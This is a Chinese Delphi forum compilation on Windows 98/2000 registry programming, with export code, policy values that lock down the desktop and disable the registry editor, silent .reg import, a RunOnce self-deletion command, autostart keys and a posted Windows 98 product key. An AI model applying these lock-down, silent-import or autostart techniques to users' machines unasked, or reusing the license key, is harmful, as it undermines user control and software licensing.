HKEY_LOCAL_MACHINE : s := 'HKEY_LOCAL_MACHINE';
HKEY_USERS : s := 'HKEY_USERS';
HKEY_PERFORMANCE_DATA: s := 'HKEY_PERFORMANCE_DATA';
HKEY_CURRENT_CONFIG : s := 'HKEY_CURRENT_CONFIG';
HKEY_DYN_DATA : s := 'HKEY_DYN_DATA';
end;

Writeln(f,'['+s+'\'+root+']'); {write section name in
brackets}

reg.OpenKey(root,false);

values := tstringlist.create;

keys:=tstringlist.create;

reg.getvaluenames (values); {get all value names}
reg.getkeynames (keys); {get all sub-branches}

for i:=0 to values.count-1 do {write all the values
first}
begin
s := values[i];
t := s; {s=value name}
if s= ''then
s:='@' {empty means "default
value", write as @}
else
s:='"' + s + '"'; {else put in quotes}

write(f,dblbackslash(s)+ '=' ); {write the name of the key
to the file}

Case reg.Getdatatype(t) of {What type of data is it?}
rdString,
rdExpandString: {String-type}
Writeln(f,'"' + dblbackslash(reg.readstring(t) + '"'));
rdInteger: {32-bit unsigned long
integer}
Writeln(f,'dword:' + inttohex(reg.readinteger(t),8));
{ write an array of hex bytes if data is "binary." Perform a line
feed
after approx. 25 numbers so the line length stays within limits }
rdBinary :
begin
write(f,'hex:');
j := reg.getdatasize(t); {determine size}
getmem(p,j); {Allocate memory}
reg.ReadBinaryData(t,p^,J); {read in the data, treat
as pchar}
for k:=0 to j-1 do begin
Write(f,inttohex(byte(p[k]),2)); {Write byte as hex}
if k<>j-1 then {not yet last byte?}
begin
write(f,','); {then write Comma}
if (k>0) and ((k mod 25)=0) then {line too long?}
writeln(f,'\'); {then write Backslash +
lf}
end; {if}
end; {for}
freemem(p,j); {free the memory}
writeln(f); {Linefeed}
end;
ELSE
writeln(f,'""'); {write an empty string if
datatype illegal/unknown}
end; {case}
end; {for}

reg.closekey;

{value names all done, no longer needed}
values.free;

{Now al values are written, we process all subkeys}
{Perform this process RECURSIVELY...}
for i := 0 to keys.count -1 do
ProcessBranch(root+'\'+keys[i]);

keys.free; {this branch is ready}
end;

begin
if regroot[length(regroot)]='\'
then          {No trailing
backslash}
setlength(regroot,length(regroot)-1);
Assignfile(f,filename);
{create a text file}
rewrite(f);

IF ioresult<>0 then
EXIT;

Writeln(f,'REGEDIT4'); {"magic key" for regedit}

  reg:=tregistry.create;
try
reg.rootkey:=rootsection;
ProcessBranch(regroot);
{Call the function that
writes the branch and all subbranches}
finally
reg.free;
{ready}
close(f);
end;
end;
end.


RegEdit的运行参数

REGEDIT [/L:system] [/R:user] filename1
REGEDIT [/L:system] [/R:user] /C filename2
REGEDIT [/L:system] [/R:user] /E filename3 [regpath]

/L:system Specifies the location of the SYSTEM.DAT file.
/R:user Specifies the location of the USER.DAT file.
filename1 Specifies the file(s) to import into the regist
/C filename2 Specifies the file to create the registry from.
/E filename3 Specifies the file to export the registry to.
regpath Specifies the starting registry key to export from.
(Defaults to exporting the entire registry).
/S (Windows) Silent - no message on completion.


获得注册表项下的全部值

 Var Reg : TRegistry;
list : TStrings;
i : Integer;
Begin
Reg:=TRegistry.Create;
Reg.RootKey:='HKEY_LOCAL_MACHINE';
If Reg.OpenKey('\Software\Microsoft\CurrentVersion\Run', false) then
Begin
List:=TStringList.Create;
Reg.GetValueNames(List);
For i:=0 to list.Count-1 do
If Reg.ValueExists(List[i]) then
Begin
Case Reg.GetDataType(List[i]) of
rdInteger: Reg.ReadInteger(List[i]);
rdBinary: Reg.ReadBinaryData(List[i]);
else
Reg.ReadString(List[i]);
End;
End;
End;
End;


去处无效的安装信息

清理“添加/删除程序"列表中的垃圾标题

---- 在WINDOWS 98中，由于多种原因，往往会造成程序删除不彻底，有时还会在"添加/删除程序"窗口列表中留下一些垃圾标题，想再次删除用普通方法总是删除不了，可让它留在那里又觉得碍眼。几次见到别人的机器出现这种情况，起初没当一回事，可近来本人的机器也出现了同样的现象，我估计是注册表出了点事，虽然现在有许多注册表清理工具软件，但本人前段时间用过一次，结果造成系统崩溃，至今心有余悸。于是本人对注册表进行了一番搜索，终于揭开了它的真面目，将那些垃圾统统搞掉了。下面本人将此小方法介绍一下，希望对遇到同样烦恼的朋友有一点帮助。

---- 事实上，"添加/删除程序"窗口中所列出的已安装软件标题信息，全部放在注册表中HKEY_LOCAL_MACHINE\Software\Microsoft
\Windows\CurrentVersion\Uninstall主键下。只需打开注册表，在该键下查找相应软件标题信息串，当找到键名为"DisplayName"，键值为查找的串时，将该"DisplayName"键删除，再打开"添加/删除程序"看看，刚才被删除的标题果然不见了，当然为了更彻底地删除它，您可将注册表中与其相关的信息全部删掉，不过您得脚下留神，不要误删其它信息，以防万一，最好先将注册表备份。利用该方法，你还可自行改变相应软件的"DisplayName"的键值，从而使"添加/删除程序"中显示的标题按自己喜欢的名称显示。另外注意对能正常删除的软件，不要用此方法删除，否则便是画蛇添足了。


引导盘的盘符

 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup
"BootDir"的值就是


注册表项解释

Hkey_current_user\software\microsoft\windows\currentversion
\policies\explorer
Norun=01 00 00 00 隐藏运行菜单

1
hkey_current_user\software\microsoft\windows\currentversion\policies
\explorer
二进制 nodrives= ff ff ff ff 隐藏驱动器
2
hkey_current_user\software\microsoft\windows\currentversion\policies
\explorer
dword nosettaskbar=1 进用任务栏属性
3
hkey_current_user\software\microsoft\windows\currentversion\policies
\explorer
dword nodesktop=1 隐藏桌面图标
4
hkey_current_user\software\microsoft\windows\currentversion\policies
\explorer
主见 winoldapp
dword disabled=1
禁用msdos
5
禁止重起切换msdos
dword norealmode=1
6
禁止查找功能
hkey_current_user\software\microsoft\windows\currentversion\policies
\explorer
dword nofind=1
7
hkey_current_user\software\microsoft\windows\currentversion\policies
\explorer\system
dword disableregistrytoos=1
禁止注册表编辑器

系统路径
hkey_current_user\software\microsoft\windows\currentversion\policies
\explorer\user shell folders
8 desktop
9 history
10 nethood
11 personal
12 program
13 sendto
14 startup
15 recent

16
win95改名
\hkey_local_machine\software\microsoft\windows\currentversion
version='my win95'

17
\hkey_local_machine\system\currentcontrolset\control\shutdown
字符串 fastreboot=1

18
hkey_current_user\software\microsoft\windows\currentversion\policies
\explorer
dword nosavesettings=1
不保存环境设置

19
hkey_classes_root\paint.picture\defaulticon=1%
修改bmp图标
20
hkey_current_user\keybord layout\preload
对应输入法顺序修改即可

1.修改任务栏开始按钮的菜单项
路径:
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
e]
.隐藏文档菜单
键值:
"NoRencentDocsMenu"=01,00,00,00
.每次退出系统时自动清除文档中的历史纪录
"ClearRecentDocsOnExit"=01,00,00,00
.禁止将最近操作过的文档放入文档菜单历史纪录中
"NoRecentDocsHistory"=01,00,00,00
.隐藏查找菜单
"NoFind"=01,00,00,00
.隐藏运行菜单
"NoRun"=01,00,00,00
.隐藏注销菜单
"NoLogOff"=01,00,00,00
.隐藏关闭系统菜单
."NoClose"=01,00,00,00
.隐藏设置菜单
"NoSetFolders"=01,00,00,00
.隐藏收藏夹菜单
"NoFavoritesMenu"=01,00,00,00
.禁止任务栏上单击这里开始的提示
"NoStartBanner"=01,00,00,00
2.关于桌面的修改项
HKEY_CURRENT_USER\Control Panel\desktop
.在桌面上显示Win98的版本号
"PaintDesktopVersion"=1
.将开始按钮的响应速度设为最快
"MenuShowDelay"=0
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
er]
.禁止活动桌面
"NoActiveDesktop"=01,00,00,00
.不保存桌面的设置
"NoSaveSettings"=01,00,00,00
.隐藏桌面上的所有图标
"NoDesktop"=1
.隐藏网上邻居
"NoNetHood"=1
3.优化文件系统,使文件分配更合理
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\FileSystem]
"ConfigFileAllocSize"=dword:000001f4
4.禁止软盘驱动器的FIFO特性,从而优化软盘驱动器的性能
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\fdc\0000]
"ForceFIFO"=0
5.自动刷新
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Update
"UpdateMode"=0
6.有关进入Win98的设置
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Winlogon]
.自动登录
"AutoAdminLogon"=1
"DefaultPassword"="密码"
"DefaultUserName"=用户名
"DontDisplayLastUserName"=0 不显示上一个用户
.显示一个消息框
"LegalNoticeCaption"=标题
"LegalNoticeText"= 内容
7.将你的名字放入系统任务栏中
[HKEY_CURRENT_USER\Control Panel\International]
"sTimeFormat"="HH:mm:ss tt"
"s1159"="AM"
"s2359"="PM"
在12点之前,显示AM;之后显示PM
8.在任务栏上用军队风格显示时钟
[HKEY_CURRENT_USER\Control Panel\International]
"iTime"="1"
"sTime"=""
"iTLZero"="1"
"sTimeFormat"="HHmm tt"
9.注册用户信息
[HKEY_LOCAL_MACHINE\Microsoft\Windows\CurrentVersion]
"RegeisteredOrganization"=组织
"RegisteredOwner"=用户名
"ProductKey"=序列号
10.隐藏我的电脑中的驱动器
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explor
er]
"NoDrives"=
规则：a-z的值依次为2的0-25次方，把要禁止的驱动器的值相加，再转换为16进制。
例如：禁止A，D，E，则为：1+8+16=25，==〉Hex 19，NoDrives=19，00，00，00
11。隐藏控制面板
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
]
“NoDispCPL“=1
12.禁止使用注册表工具
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
]
"DisableRegistryTools"=1
13.默认文件夹
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders]
14.禁止关闭系统中的重新启动并切换到MS-DOS方式
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\WinOld
App]
"NoRealMode"=1

1、禁止修改 WIN98 的开始菜单[hkey_current_user\software\microsoft\windows\currentversion\policies\explorer]
"NoChangeStartMenu"=DWORD:1

2、桌面设置：
[HKEY_CURRENT_USER\Control Panel\desktop]
(1)"DragFullWindows"=0:在拖动窗口时不显示窗口内容。为1则显示。
(2)"FontSmoothing"=0:字体不平滑显示.为1则平滑显示
(3)"Wallpaper"=墙纸名称:设置墙纸
(4)"TileWallpaper"=0:设置墙纸的显示方式,可取值为0,1,2
(5)"ScreenSaveTimeOut=900:启动屏幕保护程序的等待时间,单位为秒
(6)"WallpaperStyle=0:设置Active Desktop样式
(7)"ScreenSaveLowPowerActive"=0:不进入屏幕的低功耗状态.为1则进入
(8)"ScreenSavePowerOffActive"=0:进入屏幕保护状态时关闭监视器
(9)"CursorBlinkRate"=500:光标闪烁频率,单位为毫秒
(10)"ScreenSaveActive"=0:是否禁用屏幕保护程序
(11)"ScreenSaveUsePassword"=dword:0:屏幕保护程序是否合用密码保护

3、桌面外观设置
[HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics]
(1)"Shell Icon BPP"="16" 设置图标尺寸
(2)"IconSpacingFactor"="100" 设置图标间距因子
(3)"ScrollWidth"="-270" 设置滚动宽度
(4)"ScrollHeight"="-270" 设置滚动高度
(5)"IconSpacing"="-1155" 设置图标水平间距
(6)"IconVerticalSpacing"="-1125" 设置图标垂直间距
(7)"IconFont"=hex:09,00,00,00,00,00,00,00,90,01,00,00 设置图标字体
(8)"CaptionFont"=hex:09,00,00,00,00,00,00,00,90,01,00, 设置标题字体
(9)"MenuFont"=hex:09,00,00,00,00,00,00,00,90,01,00,00, 设置菜单字体
(10)"SmCaptionFont"=hex:09,00,00,00,00,00,00,00,bc,02, 设置调色板字体
(11)"StatusFont"=hex:09,00,00,00,00,00,00,00,90,01,00, 设置状态栏字体
(12)"MessageFont"=hex:09,00,00,00,00,00,00,00,90,01,00, 设置信息字体
(13)"BorderWidth"="-15" 设置边框宽度
(14)"CaptionWidth"="-270" 设置标题宽度
(15)"CaptionHeight"="-270" 设置标题高度
(16)"SmCaptionWidth"="-195" 设置调色板标题的宽度
(17)"SmCaptionHeight"="-210" 设置调色板标题的高度
(18)"MenuWidth"="-270" 设置菜单宽度
(19)"MenuHeight"="-270" 设置菜单高度

4、安装路径
[HKEY_CURRENT_USER\InstallLocationsMRU]
(1)"a","b"等等 是安装路径；
(2)"MRUlist"="ba" 安装路径显示在列表中的顺序

5、IE 4.0的设置
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
(1)"GlobalUserOffline"=dword:00000000 是否脱机方式
(2)"User Agent"="Mozilla/4.0 (compatible; MSIE 4.01; Windows 98)" 设置代理程序
(3)"IE4_UA_Backup_Flag"="4.0" IE4.0 的User Agent程序的备份标志
(4)"EmailName"="IE40user@" 电子邮件名称
(5)"AutoConfigProxy"="wininet.dll" 使用 wininet.dll 自动配置代理服务器
(6)"MimeExclusionListForCache"="multipart/mixed multipart/x-mixed-replace multipart/x-byteranges "
指定不放在缓存中的文件格式
(7)"Trust Warning Level"="High" 设置病毒检查级别
(8)"DisconnectIdleTime"=hex:14,00,00,00 设置自动断开连接前的空闲时间,分钟
(9)"EnableAutodisconnect"=hex:01,00,00,00 是否允许自动断开连接
(10)"EnableSecurityCheck"=hex:01,00,00,00 在拨号前是否允许进行安全检查
(11)"FtpDefaultExpiryTimeSecs"=hex:80,51,01,00 FTP服务器响应的最大时间
(12)"GopherDefaultExpiryTimeSecs"=hex:80,51,01,00 Gopher服务器响应的最大时间
(13)"HttpDefaultExpiryTimeSecs"=hex:c0,a8,00,00 Http服务器响应的最大时间
(14)"SyncMode"=hex:02,00,00,00 设置同步模式
(15)"UseSchannelDirectly"=hex:01,00,00,00 是否使用频道目录
(16)"EnableHttp1_1"=dword:00000001 是否允许使用HTTP 1.1版本
(17)"ProxyEnable"=hex:01,00,00,00 是否使用代理服务器
(18)"ProxyServer"="192.168.1.104:80" 代理服务器的IP地址及端口
(19)"EnableAutodial"=hex:00,00,00,00 是否允许自动拨号
(20)"AutoConnect"=hex:01,00,00,00 是否自动连接

太累了，改天再说吧。

--------------------------------------------------------------------------------
来自：autumn 时间：00-2-12 18:08:29 ID:185723
opq:
可以详细一点吗？

--------------------------------------------------------------------------------
来自：Ridolph 时间：00-2-13 02:06:15 ID:185886
r

--------------------------------------------------------------------------------
来自：Boat 时间：00-2-13 05:29:14 ID:185911
有一本注册表方面的书。
何必这么费事。
不过现在还没有找到它的电子版。

--------------------------------------------------------------------------------
来自：Dick 时间：00-2-13 09:59:07 ID:185939
佩服啊佩服，大侠们努力贴啊

--------------------------------------------------------------------------------
来自：房客 时间：00-2-13 10:29:43 ID:185965
继续
关注

--------------------------------------------------------------------------------
来自：左仲民 时间：00-2-13 14:50:47 ID:186096
续前次：
6、Windows 系统信息
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion]
(1)"InstallType"=hex:03,00 安装类型
(2)"DevicePath"="C:\\WINDOWS\\INF" 硬件配置文件存放路径
(3)"RegisteredOwner"="4" 安装用户名
(4)"RegisteredOrganization"="上臣多媒体培训中心" 安装单位
(5)"ProductId"="80123-026-6306247-03861" 经转换后的序列号
(6)"OldWinVer"=hex:00,04 旧Windows版本号
(7)"ProductKey"="JPP7V-KGCKV-33YR6-YD73X-KVDVM" 序列号
(8)"DigitalProductId"=hex:a4,00,00,00,03,00,2d,... Win98 自动生成的机器唯一的序列号,在上网时上传给微软
(9)"SubVersionNumber"=" " 子版本号
(10)"ProgramFilesDir"="C:\\Program Files" 应用程序文件所在根目录的路径
(11)"CommonFilesDir"="C:\\Program Files\\Common Files" 公共文件所在路径
(12)"Plus! VersionNumber"="IE 4.0 4.72.3110.1" Microsoft Plus! 版本号
(13)"WallPaperDir"="C:\\WINDOWS\\Web\\Wallpaper" 墙纸文件所在路径
(14)"MediaPath"="C:\\WINDOWS\\media" 多媒体文件所在路径
(15)"ConfigPath"="C:\\WINDOWS\\config" 配置文件所在路径
(16)"SystemRoot"="C:\\WINDOWS" Windows 所在路径
(17)"OldWinDir"="" 升级前的旧Windows所在路径
(18)"ProductName"="Microsoft Windows 98" 产品名称
(19)"FirstInstallDateTime"=hex:21,8a,4b,28 第一次安装的日期与时间
(20)"Version"="Windows 98" 版本号
(21)"VersionNumber"="4.10.1998" 数字版本号
(22)"ProgramFilesPath"="C:\\Program Files" 应用程序文件所在根目录的路径
(23)"OtherDevicePath"="C:\\WINDOWS\\INF\\OTHER" 其它设备配置文件所在路径
(24)"AppInstallPath"="\\\\TEACHER\\NETSETUP\\NETSETUP.INF" 网络安装文件所在路径及文件名

7、Windows 安装信息
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Setup]
(1)"MemphisDetectedLastDrive"="Z"
(2)"BootDir"="C:\\" 启动盘符
(3)"SysDir"="C:\\WINDOWS\\SYSTEM" 系统文件所在路径
(4)"SourcePath"="D:\\SETUP\\WIN98\\" Windows 安装源文件所在路径
(5)"SetupTempDir"="C:\\WININST0.400" 安装时所用临时目录路径
(6)"SetupScratchDir"="C:\\WINDOWS\\INF" 安装脚本所在目录
(7)"InstallPathType"=hex:00,00,00,00 安装目录类型
(8)"lastdrive"="Z" 最后一个可用的盘符

8、网络属性限制
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network]
(1)"NoNetSetup"=dword:00000001 禁用网络属性
(2)"NoNetSetupIDPage"=dword:00000001 隐藏网络属性的标识页
(3)"NoNetSetupSecurityPage"=dword:00000001 隐藏网络属性的访问控制页

9、系统策略
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
(1)"NoDispScrSavPage"=dword:00000001 隐藏桌面属性的屏幕保护程序页
(2)"NoDispAppearancePage"=dword:00000001 隐藏桌面属性的外观页
(3)"NoDispSettingsPage"=dword:00000001 隐藏桌面属性的设置页
(4)"NoDispBackgroundPage"=dword:00000001 隐藏桌面属性的设置页
(5)"NoSecCPL"=dword:00000001 禁用口令或密码控制面板
(6)"NoPwdPage"=dword:00000001 隐藏口令控制面板中的修改密码页
(7)"NoAdminPage"=dword:00000001 隐藏口令控制面板中的远程管理页
(8)"NoProfilePage"=dword:00000001 隐藏口令控制面板中的用户配置文件页
(9)"NoDevMgrPage"=dword:00000001 隐藏系统控制面板中的设备管理页
(10)"NoConfigPage"=dword:00000001 隐藏系统控制面板中的硬件配置文件页
(11)"NoFileSysPage"=dword:00000001 隐藏系统控制面板中的"文件系统"按钮
(12)"NoVirtMemPage"=dword:00000001 隐藏系统控制面板中的"虚拟内存"按钮

10、打印机控制
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
(1)"NoPrinterTabs"=dword:00000001 隐藏打印机属性的常规和详细资料页
(2)"NoDeletePrinter"=dword:00000001 禁止删除打印机
(3)"NoAddPrinter"=dword:00000001 禁止添加打印机

11、只能运行允许的应用程序
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"RestrictRun"=dword:00000001

12、允许的应用程序名称
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun]
在此键下创建一些以数字命名的字符串值，必须是连续的，如"1","2","3"等,每一值
都是允许运行的应用程序的执行文件名称,注意不要包含路径


越过确认导入注册文件

 WinExec('RegEdit /s yourfile.reg',SW_NORMAL);
//////////////////////////////////////////////////////////////
ShellExecute(0,nil,'regedit.exe','myfile.reg /v',nil,SW_SHOW);


建立文件类型关联

uses Registry, ShlObj;

procedure TForm1.Button1Click(Sender: TObject);
const
cMyExt =
'.abc';
cMyFileType = 'Project1.FileType';
var
Reg:
TRegistry;
begin
Reg := TRegistry.Create;
try
// Set the root key to
HKEY_CLASSES_ROOT
Reg.RootKey :=
HKEY_CLASSES_ROOT;
// Now open the key, with the
possibility to create
// the key if it doesn't
exist.
Reg.OpenKey(cMyExt, True);
//
Write my file type to it.
// This adds
HKEY_CLASSES_ROOT\.abc\(Default) = 'Project1.FileType'
Reg.WriteString('', cMyFileType);
Reg.CloseKey;
// Now create an association for that file
type
Reg.OpenKey(cMyFileType, True);
// This adds HKEY_CLASSES_ROOT\Project1.FileType\(Default)
//   = 'Project1 File'
// This is what you see
in the file type description for
// the a file's
properties.
Reg.WriteString('', 'Project1
File');
Reg.CloseKey;
// Now write
the default icon for my file type
// This adds
HKEY_CLASSES_ROOT\Project1.FileType\DefaultIcon
//
\(Default) = 'Application Dir\Project1.exe,0'
Reg.OpenKey(cMyFileType + '\DefaultIcon', True);
Reg.WriteString('', Application.ExeName + ',0');
Reg.CloseKey;
// Now write the open action in
explorer
Reg.OpenKey(cMyFileType + '\Shell\Open',
True);
Reg.WriteString('',
'&Open');
Reg.CloseKey;
// Write
what application to open it with
// This adds
HKEY_CLASSES_ROOT\Project1.FileType\Shell\Open\Command
//  (Default) = '"Application Dir\Project1.exe" "%1"'
// Your application must scan the command line parameters
// to see what file was passed to it.
Reg.OpenKey(cMyFileType + '\Shell\Open\Command', True);
Reg.WriteString('', '"' + Application.ExeName + '" "%1"');
Reg.CloseKey;
// Finally, we want the Windows Explorer to
realize we added
// our file type by using the
SHChangeNotify API.
SHChangeNotify(SHCNE_ASSOCCHANGED,
SHCNF_IDLIST, nil, nil);
finally
Reg.Free;
end;
end;
/////////////////////////////////////////////////////
procedure
TForm1.Button1Click(Sender: TObject);
var
R :
TRegIniFile;
begin
R := TRegIniFile.Create('');
with R do
begin
RootKey := HKEY_CLASSES_ROOT;
WriteString('.myext','','MyExt');
WriteString('MyExt','','Some description of MyExt files');
WriteString('MyExt\DefaultIcon','','C:\MyApp.Exe,0');
WriteString('MyExt\Shell','','This_Is_Our_Default_Action');
WriteString('MyExt\Shell\First_Action','','This is our first
action');
WriteString('MyExt\Shell\First_Action\command','',
'C:\MyApp.Exe /LotsOfParamaters %1');
WriteString('MyExt\Shell\This_Is_Our_Default_Action','',
'This is our default action');
WriteString('MyExt\Shell\This_Is_Our_Default_Action\command',
'','C:\MyApp.Exe %1');
WriteString('MyExt\Shell\Second_Action','','This is our second
action');
WriteString('MyExt\Shell\Second_Action\command',
'','C:\MyApp.Exe /TonsOfParameters %1');
Free;
end;
end;


系统注册表进行操作

随着Win32的广泛应用，INI文件的局限性逐渐显示出来，例如不能存放二进制的数据等。虽然简单，但也不利于保密。其实注册表的操作与INI文件类似。

操作注册表需要认识到注册表的六个根键。看看DELPHI的定义：

const
{ Reserved Key Handles. }
{$EXTERNALSYM HKEY_CLASSES_ROOT}
HKEY_CLASSES_ROOT = DWORD($80000000);
{$EXTERNALSYM HKEY_CURRENT_USER}
HKEY_CURRENT_USER = DWORD($80000001);
{$EXTERNALSYM HKEY_LOCAL_MACHINE}
HKEY_LOCAL_MACHINE = DWORD($80000002);
{$EXTERNALSYM HKEY_USERS}
HKEY_USERS = DWORD($80000003);
{$EXTERNALSYM HKEY_PERFORMANCE_DATA}
HKEY_PERFORMANCE_DATA = DWORD($80000004);
{$EXTERNALSYM HKEY_CURRENT_CONFIG}
HKEY_CURRENT_CONFIG = DWORD($80000005);
{$EXTERNALSYM HKEY_DYN_DATA}
HKEY_DYN_DATA = DWORD($80000006);

它们必须在TRegistry变量的RootKey属性中指定。
要取得某一个路径的某个键值，必须找到某一个主键，例如有如下一个路径存放着WORD97存放的程序路径：
\Software\Microsoft\Office\8.0\Word\InstallRoot\Path
其中，PATH是键，在它前面的便是主键（键的路径），而这些键又是放在HKEY_LOCAL_MACHINE这个根键中的。当然，我们想要的是PATH对应的数据，而不是想知道有PATH这个键存在。PATH的类型是一个字符串，所以需要一个字符串变量存放它，例程中使用直接显示的方法表达它。

因此，读出PATH键数据的过程就应该是，确定根键，进入主键（路径），读出键的数据值。为了体现对注册表的写操作，我们还特意创建一个主键\Software\3hsoft和里面一个字符串的键MyData。

下面是一小段关于此过程的程序，虽然内容不多，但基本上已经将读写的操作表现出来了。

unit Unit1;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Registry; // 记得要加入这个红色的。
type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
end;
var
Form1: TForm1;
implementation
{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
Const
FPath = '\Software\Microsoft\Office\8.0\Word\InstallRoot';
FKey = 'Path';
FMyPath = '\Software\3hSoft';
FMyKey = 'MyData';
Var
Reg : TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
If Reg.OpenKey(FPath, False) then
ShowMessage(Reg.ReadString(FKey)); // 读出的 WinWord 的路径就显示出来了。
Reg.CreateKey(FMyPath); // 创建我们的主键
Reg.OpenKey(FMyPath, True); // 进入我们自己的主键中
Reg.WriteString(FMyKey, 'This is a registry operation test program.');
// 写进键值。
finally
Reg.Free; // 用 Try..Finally 结构确保 REG 变量能够释放。
end;
end;
end.


获得系统公司名

 HKEY_LOCAL_MACHINE\Software\Microsoft\Window\CurrentVersion中的
RegisteredOrganization=公司名


获得系统缺省目录

uses Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
reg :
TRegistry;
ts : TStrings;
i : integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_CURRENT_USER;
reg.LazyWrite := false;
reg.OpenKey(
'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell
Folders',
false);
ts := TStringList.Create;
reg.GetValueNames(ts);
for i := 0 to ts.Count -1 do
begin
Memo1.Lines.Add(ts.Strings[i]
+
' = '
+
reg.ReadString(ts.Strings[i]));
end;
ts.Free;
reg.CloseKey;
reg.free;
end;


删除正在运行程序的可执行文件

uses
Registry;

procedure TForm1.Button1Click(Sender: TObject);
var
reg: TRegistry;

begin
reg := TRegistry.Create;

with reg do
begin
RootKey := HKEY_LOCAL_MACHINE;
LazyWrite := false;
OpenKey('Software\Microsoft\Windows\CurrentVersion\RunOnce',
false);
WriteString('Delete Me!','command.com /c del
FILENAME.EXT');
CloseKey;
free;
end;
end;


通知系统注册表变化

 procedure TForm1.Button1Click(Sender: TObject);
begin
SendMessage(HWND_BROADCAST,
WM_WININICHANGE,
0,
LongInt(PChar('你注册表的变化部分')));
end;
//或者发WM_SETTINGCHANGE消息


注册表中对编程有用的几项

作者： 940801

我用的是 WINDOWS 2000， WIN2000 的 REGEDIT 提供了类似 IE 中收藏夹的功能，我的收藏夹中有几个或许对大家编程时会有帮助（这是本人在编程过程中的探索出来的，请高手指教）：

关于 ODBC 和 DBE：

HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI\ODBC File DSN

有你的 COMPUTER 上 ODBC 的 FILE DSN 的存放的缺省路径，如果你建立 FILE DSN 的时候选择了自己的路径，那你就得小心了，系统不会为你保存该路径，你的自己记住它，：-（；

HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBCINST.INI\ODBC Drivers

列出了你的所有 ODBC DRIVER，

关于 ODBC DRIVER 的名称，有一个比较有趣的地方：不知大家又没有用 TSession.GetDriverNames 取过系统 ODBC DRIVER 名，我用的时候 DRIVER 名最长只能取到 31 个字符，剩下的就被截掉了，不知是我编程有问题还是 DELPHI 的 BUG；

HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBCINST.INI

列出了你的所有 ODBC DRIVER 的详细配置；

HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC.INI

列出了你的所有 SYSTEM DSN 以及它们的配置情况；

HKEY_CURRENT_USER\Software\ODBC\ODBC.INI

列出了你的所有 USER DSN 以及它们的配置情况；

知道了以上的几个主键后，你就可以在程序中实现 %SystemRoot%\system32\odbcad32.exe 的大部分功能了。

HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Database Engine

下面是你的 DBE 的配置，我就不多说了，大家拿它和 BDE 用户界面一比较就明白了。

关于 INTERNET 编程：

HKEY_CLASSES_ROOT\htmlfile

系统对 HTMLFILE 的处理定义；

HKEY_LOCAL_MACHINE\SOFTWARE\Clients

INTERNET Option 中 INTERNET PROGRAM 的设定，尤其重要的是其中的

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail。

关于 WINDOWS 编程

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

每次该用户启动 WINDOWS 必定执行下面的命令（如果有，当然一般都有），

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Runonce

该用户启动 WINDOWS 必定执行下面的命令（如果有），执行完后由 WINDOWS 把命令删掉，安装软件的时候特别有用，

以上两处是针对特定用户的，在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion 下还有类似的地方，是针对所有用户的，我就不罗嗦了。


重定向控制台输入输出

{----------------------------CreateDOSProcessRedirected---------------------------
Description : executes a (DOS!) app defined in the CommandLine parameter redirected
to take input from InputFile and give output to OutputFile
Result : True on success
Parameters :
CommandLine : the command line for the app, including its full path
InputFile : the ascii file where from the app takes input
OutputFile : the ascii file to which the app's output is redirected
ErrMsg : additional error message string. Can be empty
Error checking : YES
Target : Delphi 2, 3, 4
Author : Theodoros Bebekis, email bebekis@otenet.gr
Notes :
Example call : CreateDOSProcessRedirected('C:\MyDOSApp.exe',
'C:\InputPut.txt',
'C:\OutPut.txt',
'Please, record this message')
-----------------------------------------------------------------------------------}
function CreateDOSProcessRedirected(const CommandLine, InputFile, OutputFile, ErrMsg :string):boolean;
const
ROUTINE_ID = '[function: CreateDOSProcessRedirected ]';
var
OldCursor : TCursor;
pCommandLine : array[0..MAX_PATH] of char;
pInputFile,
pOutPutFile : array[0..MAX_PATH] of char;
StartupInfo : TStartupInfo;
ProcessInfo : TProcessInformation;
SecAtrrs : TSecurityAttributes;
hAppProcess,
hAppThread,
hInputFile,
hOutputFile : THandle;
begin

Result := False;

{ check for InputFile existence }
